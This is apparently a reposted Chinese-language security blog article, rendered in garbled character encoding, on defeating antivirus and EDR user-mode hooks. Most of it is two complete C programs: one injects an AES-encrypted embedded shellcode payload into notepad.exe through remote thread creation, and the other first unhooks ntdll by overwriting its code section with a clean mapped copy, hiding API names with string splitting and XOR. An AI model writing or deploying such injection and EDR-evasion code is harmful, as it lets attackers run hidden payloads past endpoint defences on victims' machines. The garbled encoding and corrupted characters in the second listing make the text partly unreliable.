1.殺軟掛鉤的工作原理
一般的殺毒軟件會(huì)在我們進(jìn)程啟動(dòng)的時(shí)候注入DLL到進(jìn)程中,然后對(duì)系統(tǒng)函數(shù)進(jìn)行Hook(掛鉤).從而攔截我們進(jìn)程的執(zhí)行流程,當(dāng)然這個(gè)流程只針對(duì)于未被添加到白名單的程序.我們來看下效果圖.
這里我設(shè)置了白名單為apps目錄,在次目錄下不會(huì)被檢測(cè).
我們運(yùn)行一個(gè)系統(tǒng)自帶的軟件Notepad來看下效果.
首先X64dbg附加進(jìn)程
我們隨便搜索一個(gè)函數(shù)看看是否被HOOK
可以發(fā)現(xiàn)函數(shù)被jmp了,那么是不是我們的函數(shù)被HOOK了,如果不清楚我們?cè)谶\(yùn)行一個(gè)白名單里面的程序看下,或者看JMP后到那里就可以知道了,我們這里對(duì)比一下即可.
對(duì)比發(fā)現(xiàn)為在白名單里面的程序,被掛鉤了.
這里我們寫一個(gè)注入程序,看看是否還能注入到進(jìn)程中
#include#include #include #include #include #include #include #pragmacomment (lib, "crypt32.lib") #pragmacomment (lib, "advapi32") unsignedcharpayload[] = { 0x23, 0xe5, 0x84, 0x36, 0xce, 0x23, 0x3b, 0xe7, 0x55, 0x66, 0x8, 0x50, 0xf3, 0x44, 0xc2, 0xe8, 0x90, 0xf0, 0x8, 0x60, 0x2c, 0x2a, 0xcc, 0x7c, 0xf1, 0x6a, 0xa5, 0x48, 0x10, 0x57, 0x10, 0x7e, 0x10, 0x24, 0x5, 0x90, 0x40, 0x14, 0x7d, 0xd3, 0xba, 0x4e, 0x7f, 0x5, 0xb7, 0x17, 0xa3, 0x4, 0x91, 0x5, 0x97, 0xd7, 0xcb, 0xa2, 0x34, 0x7c, 0x90, 0xc9, 0x4f, 0x65, 0x9d, 0x18, 0x29, 0x15, 0xd8, 0xf9, 0x1d, 0xed, 0x96, 0xc4, 0x1f, 0xee, 0x2c, 0x80, 0xc8, 0x15, 0x4b, 0x68, 0x46, 0xa0, 0xe8, 0xc0, 0xb8, 0x5f, 0x5e, 0xd5, 0x5d, 0x7d, 0xd2, 0x52, 0x9b, 0x20, 0x76, 0xe0, 0xe0, 0x52, 0x23, 0xdd, 0x1a, 0x39, 0x5b, 0x66, 0x8c, 0x26, 0x9e, 0xef, 0xf, 0xfd, 0x26, 0x32, 0x30, 0xa0, 0xf2, 0x8c, 0x2f, 0xa5, 0x9, 0x2, 0x1c, 0xfe, 0x4a, 0xe8, 0x81, 0xae, 0x27, 0xcf, 0x2, 0xaf, 0x18, 0x54, 0x3c, 0x97, 0x35, 0xfe, 0xaf, 0x79, 0x35, 0xfa, 0x99, 0x3c, 0xca, 0x18, 0x8d, 0xa1, 0xac, 0x2e, 0x1e, 0x78, 0xb6, 0x4, 0x79, 0x5e, 0xa7, 0x6d, 0x7f, 0x6e, 0xa3, 0x34, 0x8b, 0x68, 0x6d, 0x2a, 0x26, 0x49, 0x1e, 0xda, 0x5e, 0xe4, 0x77, 0x29, 0x6e, 0x15, 0x9, 0x69, 0x8b, 0x8d, 0xbd, 0x42, 0xb6, 0xd9, 0xb0, 0x90, 0xd8, 0xa1, 0xb9, 0x37, 0x80, 0x8c, 0x5d, 0xaf, 0x98, 0x11, 0xef, 0xe1, 0xcf, 0xec, 0xe7, 0xc5, 0x58, 0x73, 0xf, 0xce, 0x1e, 0x27, 0x9e, 0xc0, 0x8a, 0x36, 0xd5, 0x6b, 0x9d, 0x52, 0xe, 0x68, 0x30, 0x7c, 0x45, 0x7c, 0xb3, 0xc1, 0x3f, 0x88, 0xdc, 0x78, 0x2, 0xe6, 0xbf, 0x45, 0x2d, 0x56, 0x76, 0x15, 0xc8, 0x4c, 0xe2, 0xcd, 0xa4, 0x46, 0x38, 0x6b, 0x41, 0x2b, 0xdf, 0x24, 0x2c, 0xf1, 0x82, 0x78, 0xd1, 0xc4, 0x83, 0x7f, 0x33, 0xb5, 0x8c, 0xf7, 0xac, 0x30, 0x14, 0x0, 0x6f, 0xba, 0xf7, 0x13, 0x51, 0x6a, 0x17, 0x1c, 0xf7, 0xcd, 0x43, 0x79, 0xc2, 0x57, 0xa0, 0x9c, 0x7b, 0x12, 0xce, 0x45, 0x41, 0x4e, 0xb7, 0x6b, 0xbd, 0x22, 0xc, 0xfb, 0x88, 0x2a, 0x4c, 0x2, 0x84, 0xf4, 0xca, 0x26, 0x62, 0x48, 0x6e, 0x9b, 0x3b, 0x85, 0x22, 0xff, 0xf0, 0x4f, 0x55, 0x7b, 0xc3, 0xf4, 0x9d, 0x2d, 0xe8, 0xb6, 0x44, 0x4a, 0x23, 0x2d, 0xf9, 0xe1, 0x6, 0x1c, 0x74, 0x23, 0x6, 0xdb, 0x3c, 0x3c, 0xa6, 0xce, 0xcf, 0x38, 0xae, 0x87, 0xd1, 0x8}; unsignedcharkey[] = { 0xc0, 0xa6, 0x8b, 0x1b, 0x59, 0x92, 0xcf, 0x6b, 0xef, 0x96, 0xe7, 0xd7, 0x33, 0x65, 0xda, 0x84}; unsignedintpayload_len = sizeof(payload); intAESDecrypt(char* payload, unsignedintpayload_len, char* key, size_tkeylen){ HCRYPTPROV hProv; HCRYPTHASH hHash; HCRYPTKEY hKey; if(!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { return-1; } if(!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { return-1; } if(!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) { return-1; } if(!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) { return-1; } if(!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) { return-1; } CryptReleaseContext(hProv, 0); CryptDestroyHash(hHash); CryptDestroyKey(hKey); return0; } intFindTarget(constchar* procname){ HANDLE hProcSnap; PROCESSENTRY32 pe32; intpid = 0; hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(INVALID_HANDLE_VALUE == hProcSnap) return0; pe32.dwSize = sizeof(PROCESSENTRY32); if(!Process32First(hProcSnap, &pe32)) { CloseHandle(hProcSnap); return0; } while(Process32Next(hProcSnap, &pe32)) { if(lstrcmpiA(procname, pe32.szExeFile) == 0) { pid = pe32.th32ProcessID; break; } } CloseHandle(hProcSnap); returnpid; } intInject(HANDLE hProc, unsignedchar* payload, unsignedintpayload_len){ LPVOID pRemoteCode = NULL; HANDLE hThread = NULL; AESDecrypt((char*)payload, payload_len, (char*)key, sizeof(key)); pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ); WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T*)NULL); hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL); if(hThread != NULL) { WaitForSingleObject(hThread, 500); CloseHandle(hThread); return0; } return-1; } intmain(void){ intpid = 0; HANDLE hProc = NULL; pid = FindTarget("notepad.exe"); if(pid) { printf("Notepad.exe PID = %d ", pid); hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD)pid); if(hProc != NULL) { Inject(hProc, payload, payload_len); CloseHandle(hProc); } } return0; }
首先我們先在白名單下運(yùn)行一下看看.
發(fā)現(xiàn)是可以直接注入的,這很正常,因?yàn)闅④洸粩r截我們的任何行為.
那么我們放到其他地方來運(yùn)行下看看效果.
可以發(fā)現(xiàn)我們的程序直接被殺掉了,注入的進(jìn)程也被關(guān)閉了.
2.如何繞過EDR掛鉤檢測(cè)
#include#include #include #include #include #include #include #pragmacomment (lib, "crypt32.lib") #pragmacomment (lib, "advapi32") unsignedcharpayload[] = { 0x23, 0xe5, 0x84, 0x36, 0xce, 0x23, 0x3b, 0xe7, 0x55, 0x66, 0x8, 0x50, 0xf3, 0x44, 0xc2, 0xe8, 0x90, 0xf0, 0x8, 0x60, 0x2c, 0x2a, 0xcc, 0x7c, 0xf1, 0x6a, 0xa5, 0x48, 0x10, 0x57, 0x10, 0x7e, 0x10, 0x24, 0x5, 0x90, 0x40, 0x14, 0x7d, 0xd3, 0xba, 0x4e, 0x7f, 0x5, 0xb7, 0x17, 0xa3, 0x4, 0x91, 0x5, 0x97, 0xd7, 0xcb, 0xa2, 0x34, 0x7c, 0x90, 0xc9, 0x4f, 0x65, 0x9d, 0x18, 0x29, 0x15, 0xd8, 0xf9, 0x1d, 0xed, 0x96, 0xc4, 0x1f, 0xee, 0x2c, 0x80, 0xc8, 0x15, 0x4b, 0x68, 0x46, 0xa0, 0xe8, 0xc0, 0xb8, 0x5f, 0x5e, 0xd5, 0x5d, 0x7d, 0xd2, 0x52, 0x9b, 0x20, 0x76, 0xe0, 0xe0, 0x52, 0x23, 0xdd, 0x1a, 0x39, 0x5b, 0x66, 0x8c, 0x26, 0x9e, 0xef, 0xf, 0xfd, 0x26, 0x32, 0x30, 0xa0, 0xf2, 0x8c, 0x2f, 0xa5, 0x9, 0x2, 0x1c, 0xfe, 0x4a, 0xe8, 0x81, 0xae, 0x27, 0xcf, 0x2, 0xaf, 0x18, 0x54, 0x3c, 0x97, 0x35, 0xfe, 0xaf, 0x79, 0x35, 0xfa, 0x99, 0x3c, 0xca, 0x18, 0x8d, 0xa1, 0xac, 0x2e, 0x1e, 0x78, 0xb6, 0x4, 0x79, 0x5e, 0xa7, 0x6d, 0x7f, 0x6e, 0xa3, 0x34, 0x8b, 0x68, 0x6d, 0x2a, 0x26, 0x49, 0x1e, 0xda, 0x5e, 0xe4, 0x77, 0x29, 0x6e, 0x15, 0x9, 0x69, 0x8b, 0x8d, 0xbd, 0x42, 0xb6, 0xd9, 0xb0, 0x90, 0xd8, 0xa1, 0xb9, 0x37, 0x80, 0x8c, 0x5d, 0xaf, 0x98, 0x11, 0xef, 0xe1, 0xcf, 0xec, 0xe7, 0xc5, 0x58, 0x73, 0xf, 0xce, 0x1e, 0x27, 0x9e, 0xc0, 0x8a, 0x36, 0xd5, 0x6b, 0x9d, 0x52, 0xe, 0x68, 0x30, 0x7c, 0x45, 0x7c, 0xb3, 0xc1, 0x3f, 0x88, 0xdc, 0x78, 0x2, 0xe6, 0xbf, 0x45, 0x2d, 0x56, 0x76, 0x15, 0xc8, 0x4c, 0xe2, 0xcd, 0xa4, 0x46, 0x38, 0x6b, 0x41, 0x2b, 0xdf, 0x24, 0x2c, 0xf1, 0x82, 0x78, 0xd1, 0xc4, 0x83, 0x7f, 0x33, 0xb5, 0x8c, 0xf7, 0xac, 0x30, 0x14, 0x0, 0x6f, 0xba, 0xf7, 0x13, 0x51, 0x6a, 0x17, 0x1c, 0xf7, 0xcd, 0x43, 0x79, 0xc2, 0x57, 0xa0, 0x9c, 0x7b, 0x12, 0xce, 0x45, 0x41, 0x4e, 0xb7, 0x6b, 0xbd, 0x22, 0xc, 0xfb, 0x88, 0x2a, 0x4c, 0x2, 0x84, 0xf4, 0xca, 0x26, 0x62, 0x48, 0x6e, 0x9b, 0x3b, 0x85, 0x22, 0xff, 0xf0, 0x4f, 0x55, 0x7b, 0xc3, 0xf4, 0x9d, 0x2d, 0xe8, 0xb6, 0x44, 0x4a, 0x23, 0x2d, 0xf9, 0xe1, 0x6, 0x1c, 0x74, 0x23, 0x6, 0xdb, 0x3c, 0x3c, 0xa6, 0xce, 0xcf, 0x38, 0xae, 0x87, 0xd1, 0x8}; unsignedcharkey[] = { 0xc0, 0xa6, 0x8b, 0x1b, 0x59, 0x92, 0xcf, 0x6b, 0xef, 0x96, 0xe7, 0xd7, 0x33, 0x65, 0xda, 0x84}; unsignedintpayload_len = sizeof(payload); typedefBOOL(WINAPI * VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD); typedefHANDLE(WINAPI * CreateFileMappingA_t)(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR); typedefLPVOID(WINAPI * MapViewOfFile_t)(HANDLE, DWORD, DWORD, DWORD, SIZE_T); typedefBOOL(WINAPI * UnmapViewOfFile_t)(LPCVOID); unsignedcharsNtdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0x0}; unsignedcharsKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0}; intAESDecrypt(char* payload, unsignedintpayload_len, char* key, size_tkeylen){ HCRYPTPROV hProv; HCRYPTHASH hHash; HCRYPTKEY hKey; if(!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){ return-1; } if(!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){ return-1; } if(!CryptHashData(hHash, (BYTE*) key, (DWORD) keylen, 0)){ return-1; } if(!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){ return-1; } if(!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, (BYTE *) payload, (DWORD *) &payload_len)){ return-1; } CryptReleaseContext(hProv, 0); CryptDestroyHash(hHash); CryptDestroyKey(hKey); return0; } voidXORcrypt(charstr2xor[], size_tlen, charkey){ inti; for(i = 0; i < len; i++) { ????????str2xor[i] = (BYTE)str2xor[i] ^ key; ????} } int?FindTarget(const?char?*procname)?{ ????????HANDLE hProcSnap; ????????PROCESSENTRY32 pe32; ????????int?pid = 0; ???????????????? ????????hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); ????????if?(INVALID_HANDLE_VALUE == hProcSnap) return?0; ???????????????? ????????pe32.dwSize = sizeof(PROCESSENTRY32); ???????????????? ????????if?(!Process32First(hProcSnap, &pe32)) { ????????????????CloseHandle(hProcSnap); ????????????????return?0; ????????} ???????????????? ????????while?(Process32Next(hProcSnap, &pe32)) { ????????????????if?(lstrcmpiA(procname, pe32.szExeFile) == 0) { ????????????????????????pid = pe32.th32ProcessID; ????????????????????????break; ????????????????} ????????} ???????????????? ????????CloseHandle(hProcSnap); ???????????????? ????????return?pid; } int?Inject(HANDLE hProc, unsigned?char?* payload, unsigned?int?payload_len)?{ ??LPVOID pRemoteCode = NULL; ??HANDLE hThread = NULL; ??AESDecrypt((char?*) payload, payload_len, (char?*) key, sizeof(key)); ?? ??pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ); ??WriteProcessMemory(hProc, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL); ?? ??hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) pRemoteCode, NULL, 0, NULL); ??if?(hThread != NULL) { ??????WaitForSingleObject(hThread, 500); ??????CloseHandle(hThread); ??????return?0; ??} ??return?-1; } static?int?UnhookNtdll(const?HMODULE hNtdll, const?LPVOID pMapping)?{ ??DWORD oldprotect = 0; ??PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pMapping; ??PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pMapping + pImgDOSHead->e_lfanew); inti; unsignedcharsVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0}; VirtualProtect_t VirtualProtect_p = (VirtualProtect_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sVirtualProtect); for(i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) { PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + ((DWORD_PTR) IMAGE_SIZEOF_SECTION_HEADER * i)); if(!strcmp((char*) pImgSectionHead->Name, ".text")) { VirtualProtect_p((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress), pImgSectionHead->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect); if(!oldprotect) { return-1; } memcpy( (LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress), (LPVOID)((DWORD_PTR) pMapping + (DWORD_PTR) pImgSectionHead->VirtualAddress), pImgSectionHead->Misc.VirtualSize); VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress), pImgSectionHead->Misc.VirtualSize, oldprotect, &oldprotect); if(!oldprotect) { return-1; } return0; } } return-1; } intmain(void){ intpid = 0; HANDLE hProc = NULL; unsignedcharsNtdllPath[] = { 0x59, 0x0, 0x66, 0x4d, 0x53, 0x54, 0x5e, 0x55, 0x4d, 0x49, 0x66, 0x49, 0x43, 0x49, 0x4e, 0x5f, 0x57, 0x9, 0x8, 0x66, 0x54, 0x4e, 0x5e, 0x56, 0x56, 0x14, 0x5e, 0x56, 0x56, 0x3a}; unsignedcharsCreateFileMappingA[] = { 'C','r','e','a','t','e','F','i','l','e','M','a','p','p','i','n','g','A', 0x0}; unsignedcharsMapViewOfFile[] = { 'M','a','p','V','i','e','w','O','f','F','i','l','e',0x0}; unsignedcharsUnmapViewOfFile[] = { 'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e', 0x0}; unsignedintsNtdllPath_len = sizeof(sNtdllPath); unsignedintsNtdll_len = sizeof(sNtdll); intret = 0; HANDLE hFile; HANDLE hFileMapping; LPVOID pMapping; CreateFileMappingA_t CreateFileMappingA_p = (CreateFileMappingA_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sCreateFileMappingA); MapViewOfFile_t MapViewOfFile_p = (MapViewOfFile_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sMapViewOfFile); UnmapViewOfFile_t UnmapViewOfFile_p = (UnmapViewOfFile_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sUnmapViewOfFile); XORcrypt((char*) sNtdllPath, sNtdllPath_len, sNtdllPath[sNtdllPath_len - 1]); hFile = CreateFile((LPCSTR) sNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if( hFile == INVALID_HANDLE_VALUE ) { return-1; } hFileMapping = CreateFileMappingA_p(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); if(! hFileMapping) { CloseHandle(hFile); return-1; } pMapping = MapViewOfFile_p(hFileMapping, FILE_MAP_READ, 0, 0, 0); if(!pMapping) { CloseHandle(hFileMapping); CloseHandle(hFile); return-1; } printf("Check 1! "); getchar(); ret = UnhookNtdll(GetModuleHandle((LPCSTR) sNtdll), pMapping); printf("Check 2! "); getchar(); UnmapViewOfFile_p(pMapping); CloseHandle(hFileMapping); CloseHandle(hFile); pid = FindTarget("notepad.exe"); if(pid) { printf("Notepad.exe PID = %d ", pid); hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) pid); if(hProc != NULL) { Inject(hProc, payload, payload_len); CloseHandle(hProc); } } return0; }
這段代碼是加載一份新的NTDLL.DLL來恢復(fù)原本已經(jīng)被破壞的NTDLL.DLL.
整個(gè)過程就是我們首先加載一份新的NTDLL.DLL保存起來,然后將原本的代碼段屬性置成讀寫可執(zhí)行的,在將我們內(nèi)存加載的Text段進(jìn)行替換到原來的Text段,這樣原本HOOK的地方就被我們替換過去了,達(dá)到了脫鉤的效果,我們?nèi)タ聪逻\(yùn)行效果.
我們拖進(jìn)X64DBG 看下效果吧.
目前還是被HOOK的狀態(tài),我們回車一下后x64dbg中右鍵分析這個(gè)函數(shù).
發(fā)現(xiàn)函數(shù)已經(jīng)被還原了.
3.脫鉤后注入ShellCode到進(jìn)程中
這樣就簡單的繞過了EDR的掛鉤檢測(cè),部分沙箱這種技術(shù)同樣可以繞過.
審核編輯:劉清
-
dll
+關(guān)注
關(guān)注
0文章
115瀏覽量
45406 -
JMP
+關(guān)注
關(guān)注
1文章
17瀏覽量
12591 -
Shell
+關(guān)注
關(guān)注
1文章
365瀏覽量
23346 -
EDR
+關(guān)注
關(guān)注
0文章
23瀏覽量
1988
原文標(biāo)題:殺軟EDR對(duì)抗-脫鉤
文章出處:【微信號(hào):蛇矛實(shí)驗(yàn)室,微信公眾號(hào):蛇矛實(shí)驗(yàn)室】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論